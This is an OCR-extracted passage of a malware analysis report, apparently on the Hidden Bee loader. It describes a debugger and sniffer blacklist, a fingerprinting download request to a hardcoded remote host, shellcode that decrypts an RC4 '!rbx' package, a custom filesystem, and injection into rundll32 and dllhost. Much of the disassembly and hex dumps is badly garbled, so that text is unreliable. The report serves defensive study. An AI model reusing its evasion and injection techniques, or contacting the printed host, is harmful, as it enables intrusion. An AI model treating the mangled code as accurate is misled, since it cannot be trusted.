%02x%02x%02x%02x%02x%02x}, the module proceeds to download another component.

But before it goes to download, first, a few things are checked.

16/43



|aaa?aA22 jnz

short loc_78A2D I

bl e [-=
eee7eA24 call check_forbidden_processes
28878A29 test eax, eax
B88878A2B jz short no_forbidden_found
Y ¥ 1
bl s =] ol e [-=
apaveszl aeavessl
eraveAZD loc_78420: eea7en31l no_forbidden_found:
epa7aAZD xor eax, eax| |@BB7EA3L push ebx
BBaTRAZF leave eeaveA32 push esi
epa7aA3e retn 28878433 push edi
eeavaA34 call can_cpen_NPF
2pa7aA3e test al, al
eeaveA3E jz finish
[
28878441 mov edi, 86h

2ea78A46 push

aaavasds mov

28878458 push edi
esaveAsl push esi
eeaveAs2 call sub_7S1EE

offset asltpBbsFavcoms ;
esi, offset dword_75868

Checks done before download of the next module

First of all, there is a defensive check if any of the known debuggers or sniffers are running.

If so, the function quits.

leaas518
165518
1eea551c
1ee65526
laaas524
laeas528
laeas52C
1aaa553a
laeass34
leea5538
1aea553C
laeass4a
laaas544
laeas548

The blacklist
Also, there is a check if the application can open a file \?2\NPF-{0179AC45-C226-48e3-
A205-DCA79C824051}.

seg@a4:18005518 blacklisted names dd offset aDewvenvExe
segiid:
segiid:
seghid:
seghiad:
segaad:
segaad:
segaad:
segaad:
segaad:
segiid:
seghid:
seghiad:
segaad:
segaad:

¥

dd offset aWiresharkExe ;
dd offset aVmacthlpExe ;
dd offset aProcmonExe B
dd offset a0llydbgExe 5
dd offset aldagExe 5
dd offset aImmunitydebugg
dd offset alWindbgExe H
dd offset aEhsnifferExe ;
dd offset alrisExe ;
dd offset aProcexpExe
dd offset aFilemonExe B
db 8

“"sltp://bbs.favcom.space:1188/setup.bin?™...

"devenv.exe
"wireshark.exe"
"wmacthlp.exe"
"procmon . exe”
"0llydbg.exe"

"idag.exe"

3 "ImmunityDebugger.exe”
"windbg.exe"
"EHSniffer.exe"
"iris.exe™

"procexp.exe”
"filemon.exe"

If all the checks pass, the function proceeds and queries the following URL, where GET
variables contain the system fingerprint:

sltp://bbs.favcom.space:1108/setup.bin?
1d=999&s1d=0&sz=a7854b960e59efdaab670520bb9602F87&0s=65542&ar=0
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The hash (sz=) is an MD5 generated from VolumelDs. Then follows the (os=) identifying
version of the operating system, and the identifier of the architecture (ar=), where 0 means
32 bit, 1 means 64bit.

The content downloaded from this URL (starting from a magic DWORD OxFEEDFACE —
79e851622ac5298198c04034465017c0) contains the encrypted package (in Irbx format),

and a shellcode that will be used to unpack it. The shellcode is loaded to the current process
and then executed.

[SILEYREITHIEL }

[ T I ]

GALL DWORD FTR OS:L8irSoFE]

‘FEEDFACE’ module contains the shellcode to be loaded
The shellcode’s start function uses three parameters: pointer to the functions in the previous
module (core sdb), pointer to the buffer with encrypted data, size of the encrypted data.

if ( loaded shellcode )

{
if (
{ 3+
(v
&
Vir
1
b

module ptr )

::to_malloc;

memcpy = ::to_memcpy;

= 1:to_free;
1loc = virtualalloc:
e = VirtualFree;

calling the shellcode

®1(int (__ stdcall *

GetModuleHandleA{aNtd11D11 @) ;
Inf ess = GetProcAddress(ntdll, aZwqueryinforma};
size_t))leoaded shellcode)(

*y(dint), int,

HEEFHEET kernel3z.WaitForSinglelbiect
BEETEEED CHF DWORD FTR S5:[EEF-E%E1,EDI |kernel32.UirtualAlloc
BEEFEELA |~ | JE SHORT BEATBEZS
BEEFEEL 2 PUSH B:75694
GEATEEL 7 FUSH 8x75624 ASCITI "INSTALL_SOURCE™

CALL EEX
BEETEELE MOl ERX, DWORD FTE S5: [EEF-B:51
BEETEEZ 1 FUSH OWORD PTR DOS:L[EAX]
BEETEEZ3 AOD ERH, Exd
5[5 5l =hely FUSH ERX

CALL B8A7EBEZ laad_the_shelloode
BEEFEE2C FUSH OWORD PTE SS:[EBP-E221
BEATEEZF CALL DWORD PTR DS:[@x7S33C] mewcrt . free
HEETEBSE AOD ESF, BxC
BEETEESE FUSH DWORD FTE S5: [EBF-@x141
HEEFHESE CALL DWORD PTR DS5:L[E:FSZ2F4] kernel3z2.0e leteTimertiueus 1116
4|
Address ASCII - @14 7anz4
B147E024 B2 B0 0O OF 24 G0 00 OO G0 G0 G0 00| 3F YE%#...5....... - [ =R A
a147aa34 S8 1E 89 A6 00 88 89 A6 B4 1E 89 A6 | 4. ..Ch,..... Ha. .|| |BBI?F1FB AERERETC
Al47aEd4d | 7R 22 BB BE 81 BA BA 68 24 41 BE @0 57 3E 62 88| p". .8, .. 5A. 0. GE1FF1F4 ARGEAGEE
E147EEEY | @2 BE 8@ @8 E? B2 84 @8 08 55 9B EC 51 51 9B 45| &...0ws, . UGJERGE AE1PEIES EALITIE
A147EEEY | B8 89 45 FC 83 65 F2 B8 EE BF 8B 45 F3 48 899 45|@EERS=".U-GEBEE GE1FEIFT ARRR S
H147EETY4|FE 8B 45 F8 SB 45 BC 73 BB 8B 45 FC @3 45 F3 88| “GE°;E.sJGERWE"L GE1TF 280 ARREEEEE
A@147EE24 | 20 BA EB E6 C9 CZ2 @2 8@ 5B 44 24 @2 52 56 33 Fé&| .USr@.sDs@suS+ BEL R4 BRBRREEE
A@147@EE%4)81 28 BE BA FE CA 57 75 29 81 V8 B2 FE CA BE BR|ii22| w=ly5ijHgu=3|| BE1FF 202 ARREORER
HE147EEA4|FE 38 8B FC 24 18 3B 72 1C 72 27 8B EC 24 18 30| udsistinir"a~5h2 AR FF2ED ARRRAGEE
E@147EEE4| 47 BC 5@ FF 13 8B F@ 35 F& 74 17 &7 80 46 AC FF|G.P N&G-A+t$W2F. AE1TEE1E ARG
Al4vaEcd| 74 24 18 29 86 80 48 28 89 YE 88 58 89 4E B4 FF| tit+Ee2H E"@APEH» GE1FF=14 ARGERAGER
Hl47@EE0d| 52 B8 9B C& 5F SE EB CZ @C B8 9B 54 24 B8 56 2B| S@GA_"[r..4TSEVG EegOEss A Erreerere

The loader

// pointer to the array of functions

¥
loaded shellcode, @6, @x3600);

Fourth stage: the shellcode decrypting !rbx

The beginning of the loaded shellcode:
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https://malshare.com/sample.php?action=detail&hash=79e851622ac5298198c04034465017c0

Address |Hex dump Dizassenbly

BEZ1AAEE | -E9 ASA4EHEE JHP BEZ 16468

BEZ 1 AAE5S = FUSH EEP

BEZ1 B8 SEEC Moy EBF, ESP

BEZ1 8883 =31 FUSH ECH

BEZ1 8889 51 FUSH ECH

BEZ 1 aaEn SE4E @32 Mol EFAX, OWORD PTR 55: [CEEF+@x3]
BEZ1Eaaa0 8945 FC MOy DOWORD FPTR SS5:[EEBP-B:4]1,ERH
BEZ1AE18 8365 F3 @l AMD OWORD FPTR S5S5:[EBP-Bx51,8:8
BEz1E814 |« EE @7 JHF SHORT @@Ezi@ain

BEZ1E816 2B4E F2 Mal ERX,OWORD PTR S55:[EEBFP-8:23]
BEZ1E819 44 IMC ERH

BEZ18a1A 2945 F3 MOl DWORD PTR SS5:[EEP-G8:51,ERQX
BEZ18810 SE4S FS MOy EAX,DMORD FTR SS: [EEBF-8xS]
BEZ1EE2a ZE4S @C CHFP ERX,OWORD PTR 55: [CEEF+@xC]
FEZ1EAEZS |~ 73 BB JHE SHORT BBzZ18838

BEZ1AE25 SE4S FC MO ERX, OWORD PTR 55: CEEFP-8:4]
BEZ1AE23 A345 F32 AODO EAX,OWORO PTR S5:[EEF-8:3]
BEZ1 8828 SE28 @8 AMD BYTE PTE _DOS:[ERX1, BxA
BEZ21E82E(~| EB E& JMP SHORT GEzZ1E81&

BEZ18838 ca LERLE

pez10e31| | G2 osoe RETN @u8_ ___ ___ . ____

The shellcode does not fill any imports by itse_lf:_lnstead, it fully relies on the functions from
core.sdb module, to which it passes the pointer. It makes use of the following function:
malloc, mecpy, memfree, VirtualAlloc.

BEZ1E1AL JHZ SHORT BE21G26E

BEZ181A3 FF7& 1C FUSH DWORO PTR DO5:[ESI+AX1C]
B2 1E1HE SEYD B3 Mol EDI, OWORD FTR S5: CEEF+ExE]

FF1v CHALL DWORD FPTR D5:LEDI] call mallos via core.sdb
BEZ1A1AE 85CA TEST ERX.ERX

L
Jump is HOT taken

Address |Hex dump Dizassenbly Comrent

BEETEI0F FF7d424 84 FUSH DOWORO FTR 55: [ESF+E:4]

BEETEIED FF1E 44528700 | CACL DWORD PTR DS: [EX753d44] Mot mal loc Exam |e-
BEETEIED 9 FOF ECH p .
BEETEIER CZ2 BAdaa EETH @u4

BEETEIED FF7d2d @4 FUSH DOWORD FTR 55: [ESF+E14]

BEETESF 1 FF15 2CE2E7YEA | CALL DWORD PTR DS:[@-7533C] mewert . free

BEETEIFE T E9 FOF ECH

BEETEIFS C2 @488 RETH &u4

BEETEIFE FF7d424 @c FUSH DWORD FPTR 55: [ESF+ExC]

BEETEIFF FFE7dz24 @ FUSH DWORD FTR SS: [ESP+@xC]

BEETEAES FF7dz4 @C FUSH DWORD FTR 55: [ESF+BHC]

BEETERET ES BS47EEEE CALL ®aaFsicd JMP to ntdll.memncpy

FEEATAREC 2304 EC AOD ESF, BuC

BEETERAEF C2 @caa RETH BuC

calling malloc via core.sdb
Its role is to reveal another part. It comes in an encrypted package starting from a marker
Irbx. The decryption function is called just at the beginning:

eez2le48s push ebp

28218489 mov ebp, esp

28218488 sub esp, 48h

@8821848E push ebx

8821848F push esi

ea21e41@e push edi

88218411 mov edi, [ebpt+main_module]
@88218414 push [ebp+rbx_size] ; rbx_size
@8218417 wor esi, esi

288218419 push [ebpt+buffer_rbx] ; buffere_rbx
@8821841C push edi ; main_module
@821841D call decrypt _from_rbx

88218422 mov ebx, eax

28218424 test ehw, ebx

Entry Point of the shellcode)
First, the function checks the Irbx marker and the checksum at the beginning of the
encrypted buffer:

Calling the decrypting function (at
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aazlelse2
ea2zlaelas
ea21alas
ea2lales
aazlalsd
aaz2lalob
aazlalaC
aazlalah
aazlaelye
Ba218173
ea21a1v9
eaz21aelvc

push
mowv
push
push
and
push
push
mov
mov
cmp
mowv
jnz

ebp

ebp, esp
ecx

BCx
[ebpt+var_4],
ebx

esi

e

esi, [ebpt+buffere_rbx]

ebx, [esi+4]

dword ptr [esi], 'kbr!”

[ebptvar_8], ebx

loc_218212

28218182 mov

eax, [esi+d]

8218185 add eax, 28h

@8218188 cmp [ebptrbx_size], eax

@e218188 jnz loc_218212

L 4

88218191 and dword ptr [esi+4], @
88218135 push edi
88218196 push [ebptrbx_size]
88218199 push esi 3 buffer_rbx
ee21@194 call checksum
@8821819F cmp eax, ebx

marker and then checksum

It is decrypted with the help of RC4 algorithm, and then decompressed.

Checking

After decryption, the markers at the beginning of the buffer are checked. The expected
format must start from predefined magic DWORDs: OXxXCAFEBABE,0, OXBABECAFE:
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eazleasd

aazleasd

aa218a34 mov
e821@838 push ebx
28218839 push esi
ea21ea3s xor
ea2lea3C cmp
28218842 push edi
2218842 jnz

esl, esl
dword ptr [eax], @CAFEBABEh

@8218634 arg 8= dword ptr 4
@082186834 decoded buffer= dword ptr &8
@p218834 arg_B= dword ptr @Ch

eax, [esp+decoded buffer]

short loc_21887E

808218834 ; int _ stdcall validate_and_copy_decrypted(int, int decoded_buffer, int)
e8218834 validate_and_copy_decrypted proc near

=

Ba21ea4s cmp
eez1ea4rC jnz

short loc_21887E

dword ptr [eax+8], BBABECAFEh

@a21884E mov
Be21eas2 cmp
28218855 jb

short loc_ 21@87E

edi, [esp+BCh+arg_8]
edi, [eax+1Ch] ; size

I_+ |

ea21ea57 mov
28218856 lea
@a218a5E push
@8218a5F call

The Irbx package format

The Irbx is also a custom format with a consistent structure.

Offset (h)

00000000
00000010
00000020
00000030
00000040
00000050
00000060

00 01 02 03

21 72 62 78
3E 42 42 BA
o2 2n 24 61
64 OF F3 B6
C9 1A A0 C4
BE 62 ES5 26
D1 3E AD 37

DWORD magic; // "!rbx"
DWORD checksum;

DWORD content_size;
BYTE rc4_key[16];
DWORD out_size;

BYTE content[];

04

DE
a8
Bz
E&
T1
15
oc

ebx, [esp+@Ch+arg @]
eax, [edi+aCh]
eax

dword ptr [ebx] ; _malloc_wia_main_module

05 06 OT7 08 09 04 OB OC

B> F3 OF 37 3E 08 00 5B
01 &8 2F 9% OF BF ET 30
20 30 26 94 8D FT DT 8C
66 62 D4 10 A4 56 Bl 34
F5 71 2 30 8D 0B 20 32
33 3C TE D& 55 D2 ZA D3
T3 DB 93 84 oA DE D4 08

The custom file system (BABECAFE)

oD

9B
34
Dz
4Cc
DF
al
a3

OE

EOD
oR
D&
o6
45
a3
Ca

OoF
T4

B4
3F
oc
az
EE

'rbxTua. 7>. . [ »fC
>BEBS..h/™. 2g04. .
R - e eowsitie
3. 09EER0 . B4V
E. Lgdg*ot. ZRE.
Ibiz.3<~T-0*U0Qc"
H>.7.y0~59T6.501
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The full decrypted content has a consistent structure, reminiscent of a file system. According

to the previous reports, earlier versions of Hidden Bee used to adapt the ROMS filesystem,

adding few modifications. They called their customized version “Mixed ROM FS”. Now it
seems that their customization process has progressed. Also the keywords suggesting
ROMFS cannot be found. The headers starts from the markers in the form of three
DWORDS: { OXCAFEBABE, 0, OxBABECAFE }.

[l P ] P N
BE2 18624
BE2 18632
BE21aE39
BE2188:38
FE 2 1 AES0

B0Z1 DGz
B0Z1 0643
BEZ1 ARG
BEZ1BE4C
BB21B64E
B2 1AESE
@21 BEES
BBZ 10657
@021 AESE

4

S BN

2B4424
E2
=1

33FE
5133 BEBRFECH
57

75 39
2172 823 FECHE
75 2@

SEVCE24

[5E5]

1z

SBVE 1

T2 27
SESC24

1@

S047 ac

L) =0 B o A P

MOU ERH, OWORD PTR SS5: CESP+E221
PUSH EB:

PUSH ESI

#OR ESI,ESI

CHMP DWORD PTR D5: [ERR], 8- CAFEEREE
FUSH _EDI

JHE SHORT BEZ1GEFE

CHMP DWORD PTR DS:[EAX+E:2], BuBABECAFE
JHE SHORT BEZ1GEFE

MOU EDI.OWORD PTR SS:[CESP+Ex12]
CHMP EDI,DOWORD PTR OS:[CEAX+@u1C]
JE SHORT B6821087E

MOY EE=, OWORD FTR SS:[ESF+E=18]
LER ER=.DOWORD PTR DOS:[CEDI+@C]

T: [DOCAO0E0 ] —DEDREEED

Address |Hex dump ASCII

Bloonbzo|EE EH FE CH B GE B8 B@ FE CA BE BA CE BF 62 00| zlle=. ... s=F|Uo|

BRGS0 B0 B9 A9 A9 GE BP9 G PA B3 BA BE BA 30 34 B0 B8] ............ @ .

B1S2AGE46G| 74 81 @9 @8 98 90 B8 BA D@ 20 BA BA 62 69 6E =F|t@,.02..42..bin

B1S20G5E| 69 23 28 36 2F 62 6F 72 65 &4 &0 60| 2E 62 &9 6E| i226-coredll.bin

B1ESEGEE0| BB BB 4E 53 40 Bl G5 BE BE B3 BS ZE BB OB S0 £0| . HSLOE. . w|...02

B1ESEETE| BB BB 0B BB BE 16 B DA BE PR PR DR DR BB 95 S| ..., (I, Py

BLESOEE0| B0 B9 B9 B9 GE GF G5 09 08 08 08 92 90 B0 72 B0| ..u.ieeeeeeaSaats

BISEARZ0| 60 68 A9 B9 GE GF GE DA BA BA BA 59 B0 BB 32 B3| ...i.es.eeaEea W

B1SSAGENG| B0 B9 BB 63 A8 B9 48 0l 03 OR OA DA BA P8 B BA|...c..B8........

B1E206E0| B8 ..

51220600 | B8 R

51220608 | BE L.,

B1ES0GEG| BE e .

B1ES06FG| BE CEL L,

81390150 g e

The layout

Off=et (h) Decoded text
00000000 IstE....tEIsVoi.
00000010 00 00 00 00 00 00 00 00 00 00 00 OOf30 34 0& ool ............ ga..
00000020 |74 01 00 oof80 ED oo jﬁlDO gD 00 o0} t...ef..eT

Ez §9 BE ZF bin/

00000030 |69 33 38 36 2F &3 6F 72 65 64 6C &6C 2E 62 69 6E| i386/coredll.bin
00000040 |00 00 .

00000040 4E 53 4C 01 05 00 00 03 B3 ZE 00 00 80 2D NSL..... ...l
00000050 (00 00 00 00 00 10 00 00 00 00 00 00 00 00 96 9C | vvvvuernrnennn. -3
00000060 (00 00 00 00 00 00 00 00 00 00 00 82 00 00 78 00 | cvcveven.. K
00000070 |00 00 00 OO0 OO0 00 OO0 00 OO OO0 00 82 00 00 38 03 | ovcveue... %..8.
00000080 |00 00 00 &3 00 00 40 01 00 OO 00 OO0 00 00 00 00 B
00000090 (00 00 00 03 00 00 00 60 00 OO0 00 03 00 00 20 00 | vvuvern vrnnnn .
0000C00A0 |00 &2 00 &3 00 00 00 02 00 OO0 00 63 00 00 40 00 | .heCov..... c..@8.
000000B0 |00 42 00 &5 00 00 OO0 1D 00 OO0 0D 65 00 00 40 00 | .H.e....... e..E.
000000CO |00 C2 00 22 00 00 00 07 00 00 00 22 00 00 20 00 | €., ...... pee .
00000000 |00 E2 00 8% 00 00 80 04 00 00 O0 89 00 00 40 00 | .&4.%..€....%..8.
00000OED (00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | cBuvevurnensnnnn
0000COFO (00 00 00 OO0 00 OO0 00 00 00 OO0 00 00 00 00 00 00 | vvvvernvnenennnn
00000100 (00 00 00 00 00 OO0 OO0 00 00 OO0 00 00 00 00 00 00 | vvvvernvnenennnn
COODEDDO| AE 75 00 00 80 07 00 OO0 70 35 00 00 62 €% 6E 2F ®u..£€...p*..bin/
OOO0DBDED 61 6D 64 36 34 2F 70 72 65 6C 6F 61 &4 00 00 90 amde4/preload...
DODDEDFD 90 90 E8 54 00 00 00 00 OO0 0O 00 00 00 00 00 00 =

Magic
Full size

Mext File Header
File 5ize

File Name
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https://malshare.com/sample.php?action=detail&hash=a93c90a210aed61255dc34102335af8d

We notice that it differs at many points from ROM FS, from which it evolved.
The structure contains the following files:

/binfamd64/coredll.bin

/bin/i386/coredll.bin

/bin/i386/preload

/binflamd64/preload

/pkg/sputnik.spk

/installer/com_x86.dIl (6177bc527853fe0f648efd17534dd28b)
/installer/com_x64.dlI

/pkg/plugins.spk

The files /pkg/sputnik.spk and /pkg/plugins.spk are both compressed packages in a custom
Irsi format.

0001C3A0 AE &C 00 OO0 AE 7B 03 00 70 3F 05 00 70 6B &7 2F @®1..®{..p7?..pkg/
0001C3B0 TO &C 75 67 €9 6E 73 2E 73 70 6B 00 00 E1 72 73 plugins.spk. .
0001C3C0o ZE DO A2 DE BE 7B 02 00 SEBE SB EO T4 ZE 42 42 E:}B"I’E{ .. [ ++c>BB
0001C3D0 8A 88 01 68 2F 99 OF BF ET 04 DE OB 00 92 AA 24 §, . h/™, 2. T.."55
Q0001CZEQ o1 B2 15 74 27 %4 8D F7 DT 2C D2 RE QOE F7 21 88 &, L2V Eixal@®. S 1h
0001C3F0 38 CE EB &8 ET C7T 05 1F 58 EE AE D1 DO A2 eC 00 -Efé'."u;(;. LHEEND L.

Beginning of the Irsi package in the BABECAFE FS

Each of the spk packages contain another custom filesystem, identified by the keyword
SPUTNIK (possibly the extension ‘spk’ is derived from the SPUTNIK format). They will be
unpacked during the next steps of the execution.

Unpacked plugins.spk: 4c01273fb77550132c42737912cbeb36
Unpacked sputnik.spk: 36f3247dad5ec73ed49c83e04b120523.

Selecting and running modules

Some executables stored in the filesystem are in two version: 32 and 64 bit. Only the

modules relevant to the current architecture are loaded. So, in the analyzed case, the loader

chooses first: /bin/i386/preload (shellcode) and /bin/i386/coredll.bin (a module in NS custom
format). The names are hardcoded in the loader within the loading shellcode:
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http://lxr.linux.no/#linux+v4.15.14/Documentation/filesystems/romfs.txt
https://www.virustotal.com/#/file/04d62f3c9ab18370184a5aad9717434b5a8f71abadb92fcbc00b04d7dfa49a7d/details
https://malshare.com/sample.php?action=detail&hash=4c01273fb77550132c42737912cbeb36
https://malshare.com/sample.php?action=detail&hash=36f3247dad5ec73ed49c83e04b120523

P

P
|

=
e

20 = @;

path_str = "nib/’; J/ bin/i386/preload

31 ="/

/32 = "i';

33 0= "3

vil = '8';

vis = 'B';

w3 = "f";

w37 = 'Fl'j

w38 = "'r';

v3d = 'e';

vid = "1';:

vil = "a';

vi2 = "a’;

vas = 'd';

path_str2 = "nib/"; /¢ bin/i386/coredll.bin
£

12 = "/7';

13 = '"i';

14 = "3";

15 = '8

16 = "6';

17 = "f";

18 = "c’;

w19 = "o';

w28 = "r';

21 = "e';

/22 = 'd';

/23 = "1';

24 = "1';

w25 = ".";

(26 = "h';

w27 = "1';

w28 = "n';

nreload bin = search_by path({ prev module, result, (int)&path_str, (int)}&prev_module);

tc*edll_bin = search_by path(_prev_module, w6, (int)}&path_str2, (int)}&v49);

7 = coredll bin;

Searching the modules in the custom file system

After the proper elements are fetched (preload and coredll.bin), they are copied together into
a newly-allocated memory area. The coredll.bin is copied just after preload. Then, the
preload module is called:

L - 5 I — )
Z Redirecting execution to

2218597 call esi 3 call preload_bgn

£ =
preload
The preload is position-independent, and its execution starts from the beginning of the page.
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BE218531

2270 F4 Ba

EEZIEEEE |~ 74 66

BE21B537 FF7S F4
BEZ21E52A FFE7 @4
aEz18s20 FF7S EC
BE2 168528 FFSY 84
BEZ2 18533 85F6
FE2IEESE |~ 74 B2

BEZIEEDS | GF
BEZ1EESR | BE
BEZ1EEE | GE
BIEE | BEDC
BEZ 1SS0

1

co
CZ acaa

JE SHORT HEA21A520

TEST ESIL.ESI

JE SHORT BA21RA533
CALL ESI

FOF EDI

FOP ESI

FOFP EBX

LERUE

RETH &:iC

CHMP OWORO PTR S5:[EEBF-B:C1, 6:E

FUSH DWORD PTR S5: [EBP-E:C]
CALL DWORD PTR DS: [EOI+EH4]
FUSH DWORDC FTR SS: [EEF-8:141
CALL DWORD FPTR DS5: [EDI+E:41

remf ree

call_preload _ban

kernel32.VirtualAl loz
kernel32.UirtualAl loz
kernel3z.VictualAl loc

ESI=7FFRGEREE

Comment

Address |Hed dump Dizassembly

FFFRABEAaG L] MOP

FFFA@Ea1 L] MOF

FFFRABBAZ L] HOF

FFFRBBA3 EZ dz@@aaaa CALL FFFRBB4A

il L T 45 DEC ERX

FFFR@EEA% [=45] PUSHAD

FFFRBBER 2477 88 TEST BYTE PTR DS: [EDI-@x261.0H
FFFRABEa0 51 FUSH ES

FFFABEAE BEER AOD EYTE PTR DS:[ERXI, AL
FFFRGE18 SEE0 BEEEEEEE | OR BYTE PTR 55: CEBP+@xS00@E], 8x8
‘ 1)

preload

Entering

The only role of this shellcode is to prepare and run the coredll.bin. So, it contains a custom
loader for the NS format that allocates another memory area and loads the NS file there.

Fifth stage: preload and coredl|

After loading coredll, preload redirects the execution there.

1e@82EE3
laae2EE4
1888 2EBG
1e@a2EBC
la@eEED
laaa2ECe
le@a2ECl
leea2eCcy
la@a2eCC
laaaech
1e@a2ED3

push ebp

mow ebp, esp

sub esp, 13Ch

push ebx

Mo ebx, [ebptmodule handle]
push esi

Mo esi, ds:GetProciddress
cmp word ptr [ebx], "SN'
push edi

mow edi, ds:GetModuleHandled
jnz short loc_1B@82EF3

i

18882EDS push offset aZwqueryinforma ; "ZwQueryInformationProcess”
1e@a2EDA push offset anNtdll ; "ntdll”
18882EDF call edi ; GetModuleHandled
18@82EELl push eax
18@82EE2 call esi ; GetProcAddress
18882EE4 push offset ntdll_patch
18882EES mov ds: ZwQueryInformationProcess, eax
18BB2EEE call patch_KiUserExceptionDispatcher
Entry Point

coredll at its

The coredll patches a function inside the NTDLL— KiUserExceptionDispatcher—redirecting
one of the inner calls to its own code:
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Hex Disasm

A path inside KiUerxceptionDispatcher
Depending on which process the coredll was injected into, it can take one of a few paths of
execution.

If it is running for the first time, it will try to inject itself again—this time into rundll32. For the
purpose of the injection, it will again unpack the original Irbx package and use its original
copy stored there.

18@83ECE loc_ le@@3ECE: 3 MaxCount
18@83ECE push dword ptr [esi]

18@a3ECA push dword ptr [esi+d] ; Src
1eaa3ECD call unpack xbr_package

18663ED2 pop ecx Entering the unpacking function
18883ED3 cmp eax, ebx
18883EDS pop eCx
18883EDE mov [ebpt+arg_4], eax
1e883ED9 jz loc_1B@83FCA
18883689 push ebp
18883684 mov ebp, esp
1eee368C sub esp, 1laCh
leea3s32 and [ebpt+var_4], @
leea3sd6 push ebx . . . .
18083697 push esi Inside the unpacking function: checking the
1eea3698 push edi
18883699 mov edi, [ebp+Src]
1e88369C cmp dword ptr [edi], 'xbr!’
18883642 jnz loc_1eae37s50h
magic “Irbx”

Then it will choose the modules depending on the bitness of the rundlI32:
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TEF24285 |~
TFF2428R
TEF234.280
TFF3421A
FEF34212
FEF34214
FFF3421E
FFFA4216
TFF2421E
TEF2421C
FEF34210
TFF3421E
FEF34.221

TFF3422A
FFFA422E
TFF242321 |~

< [

[ETSTR DR TRY - TR

7o 83

SB45 FC
FFYS 2C
2040 3C

&8 B4E888E1

FF7S 18

FFVE @C

FF15 A2E3F97YF
2670 1C 88
2945 FC

74 ZE

dHZ SHDRT ?FF94EBD

MOV ER, OWORD PTR 55: CEEF—@541
FUSH_DWORD PTR 55z [EBF+Bx2C]
LEA ECH, OWNORD FTR 55: CEEF-EX&4]
PUSH ECK

FUSH ERX

EDI
FPUSH @ 1a8aEEd

EDI
FUSH EDI
FUSH EDI
FUSH DWORD PTR S5:[EEF+E:1@]
FUSH DWORD PTR S5:[EBP+E2C]
CALL DWORD PTR DO%5: [B: A FFYS2A2]
CHMP BYTE PTR S5: [EBP+8:1C1T, 0:G

MOL DWORD FTR S5: CEEF-B:41, EAX
JE SHORT FFF242&1

[Er PRI E

kernel32.CreateProcessh

O5: [YFFIc3A2]1=FE282840 (kernel32.CreateProcesshl]

E)
BA1FEEZE
BE1FESZC
Ba1FEE4E
BE17ES44
BE1FEE4S
BELFES4C
BE1FEEER
BE1FEEEY
BA1FEEES
BBl 7ECEE

HDdulEFLlEHamE = "Cinnllindows~eRstenge s rundl L5g. &

CreationFlags = CREATE_SUSFEMDED | 100GE0EE

BE17EEDOC

HE1FEOE4 || CommandLine =

HEEAREEA pPrncesiSecurlty = HULL

HEEADEEA| | pThreadSecurity = HULL

HEaanEaa) | InheritHandles = FALSE

B 1688884

DEEanEEaa) | pEnvironment = HULL

BE1FESES || CurrentDir = "Ci~~Windows~sustem3z™
HE1FEBZE|| pStartuplnfo = BE1YEB3E

HE1FEFE2| bpProcessInfo = BE1TYEF2E

BE1FEE4S( UMICODE "FPIFEESEBRSCYA0OACA0CEARS4ECE 1245 1FA™
FEE9ESFE| UNICODE "PI™

" Process id: { AES98ZE4—RACA-4EEE— B?BD HBFE?B??HBDE}"

It selects the pair of modules (preload/coredll.bin) appropriate for the architecture, either from
the directory amd64 or from i386:

18883FEF mov
18883FF2 call
18883FF8 or

lapa3FFC cmp
18664888 mowv
18664885 jnz

[ebp+var_4], edi
ds:GetStartupInfol
[ebp+var_38], 88h

byte ptr [ebptarg 14], @

gax, offset Strl ;

"/bin/amd64/preload”

short loc_leaadaac

FEE
1866848687 mov

eax, offset aBinI386Preload ;

"fbin/i386/preload”

:

FIZIE
laaadaac
leead4aaC loc_lepedasc:
leeed4aaC lea ecx, [ebpHiaxCount]
1888488F mov esi, offset to_malloc
18684814 push ecx ; int
leea4als push esi 3 int
18e84816 push eax ; Strl
1884817 push [ebp+arg_C] ; int
18004014 call  |find_by path
18e8481F add esp, 18h
186084822 cmp eax, edi
18664824 mov [ebp+src], eax
188046827 jz loc_18@@448C
_ Y

Ll s =]

1esa4820 cmp byte ptr [ebptarg_14], @

188646831 mowv eax, offset aBinAmde4Coredl ; "/bin/amde4/coredll.bin”

18884836 jnz short loc_ le@e4a3D

L1
\ ¥
[l s 5=
186646838 mov eax, offset aBinI386Coredll ; "/bin/i386/coredll.bin”

£z

If the injection failed, it makes another attempt, this time trying to inject into dllhost:
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18883F76 push [ebpt+arg_4] 3 size t

1e@a3F79 push eax 3 Viewsize

leaa3F7a lea eax, [ebptvar 3F3]

leaa3F3e push eax ; int

leaa3F3l push [ebptarg_@] ; int

18883F84 call make_injection

18883F39 add esp, 2Ch

la@esFeC test eax, eax

18883FBE jz short injection_failed

i L 4
il i = e =
10883F9@ push [ebp+var 48] 160003FAB
1eaa3Fas call ds:ResumeThread 18@83FAB injection failed:
18@83F99 push [ebptvar_48] 18@a3FAB lea eax, [ebptvar C]
18B@3FIC mov esi, ds:CloseHandle| |18@@3FAE push eax
18e83FA2 call esi ; CloseHandle 18883FAF lea eax, [ebpt+var_3C]
leea3FAd push [ebp+var_4C) 18883FB2 push [ebp+arg_8] ; int
18883FAT call esi ; CloseHandle 18883FBS push 2ax s Dst
18B83FAT jmp short loc_l@eesrCl 18883FBE push [ebpt+arg_4] ; size t
le@a3FBo call inject to dllhost
18@a3FBE add esp, 1éh

Each time it uses the same, hardcoded parameter ( /Processid: {...} )thatis passed to
the created process:

i Y
ol s =
12284509 push esi
leeeasDa lea eax, [ebptvar_288]

188845E@ push 184h

1e8845E5 push eax

1e8845E6 push offset dllhost ; "¥Systemroocti®\\sy
12@845EE call ds:ExpandEnvironmentstringsi
188845F]1 test eax, eax

186845F3 jz short loc 18884654

¥

188845F5 push edi
18@845F6 push 15h

le@a45F8 pop BCX
188845F9 mov esi, offset aProcessidAb898@ ; "/Processid:{ABB982B4-B9CA-4BBG-B78D-ABF". ..
188B45FE lea edi, [ebpt+Viewsize]

The thread context of the target process is modified, and then the thread is resumed, running
the injected content:

4 '-E METFXRepair.exe 3308 Microsoft MET Framework 4.5 Setup
L] rundll32,exe 3740 Windows host process (Rundll22)

Now, when we look inside the memory of rundll32, we can find the preload and coredll being
mapped:
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71 rundl32.exe (1716) (0570000 - 072000) == EcH <"

00000000 50 90 90 =8 42 00 00 00 48 &0 &4 77 80 06 00 00 ....B...H .w.... -
00000010 20 24 00 00 24 00 OO0 OO0 OO0 94 00 00 01 00 00 00 .eeefunennnnnnnn [
00000020 00 00 00 00 &k 00 &5 00 72 00 &e 00 &5 00 6c 00 ....k.e.r.n.e.l
00000030 33 00 32 00 2e 00 64 00 &c 00 &c OO 00 00 B8 aa 3.2...d.1.1.....
